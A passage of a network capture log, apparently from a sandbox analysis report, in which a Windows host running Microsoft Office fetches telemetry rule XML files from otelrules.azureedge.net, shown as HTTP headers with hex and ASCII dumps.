2024-11-17 23:27:34 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:34 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 1c255c34-701e-0053-4dbc-373a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232734Z-16547b76f7f7zzl8hC1DFWmtag00000003yg000000002qk0 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:34 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.6	49807	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:34 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:34 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:34 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: d6bfd382-901e-00ac-633e-38b69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232734Z-164f84587bfjxw6fhC1DFWq944000000052000000000hksd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:34 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.6	49808	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:34 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:35 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:34 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 55235507-801e-0015-17af-36f97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232734Z-16547b76f7fhv4d5hC1DFW7h0n000000038000000000p6v6 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:35 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.6	49809	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:34 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:35 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:34 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: bc853cf7-701e-006f-6009-37afc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232734Z-16547b76f7fmcv27hC1DFWgpcg00000003qg00000000m55h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:35 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.6	49810	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:34 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:35 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:34 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 9d36fa3e-201e-00aa-2ec7-373928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232734Z-164f84587bfdt5l2hC1DFW88gs000000039000000000dc92 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:35 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.6	49811	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:34 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:35 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:34 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 970a151a-f01e-003f-26c9-36d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232734Z-164f84587bf28gjzhC1DFW35kg000000050g000000003map x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:35 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.6	49812	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:34 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:35 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:34 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 6763c5ef-a01e-000d-6fc4-37d1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232734Z-16547b76f7fqqjnnhC1DFWxv7400000003a0000000008fpp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:35 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.6	49821	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:35 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:36 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:35 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: 398e56de-301e-001f-6c81-37aa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232735Z-164f84587bf7k72dhC1DFWvczs00000004x000000000mmb9 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:36 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.6	49819	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:36 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:36 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:36 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: f00fef9b-501e-0029-7e4b-36d0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232736Z-164f84587bf5rpzqhC1DFWmra800000004vg00000000tn2u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:36 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.6	49820	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:36 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:36 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:36 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 9c6f226a-f01e-003f-6009-37d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232736Z-16547b76f7fhv4d5hC1DFW7h0n00000003e00000000020ur x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:36 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.6	49822	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:36 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:36 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:36 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 969097d6-001e-0046-4dc6-37da4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232736Z-16547b76f7f5b5tthC1DFWuk8400000003m000000000c7k8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:36 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.6	49818	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 23:27:36 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 23:27:36 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 23:27:36 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 99c36cd7-201e-0096-7ccd-37ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T232736Z-16547b76f7fffb7lhC1DFWdsxg0000000570000000004h0r x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 23:27:36 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 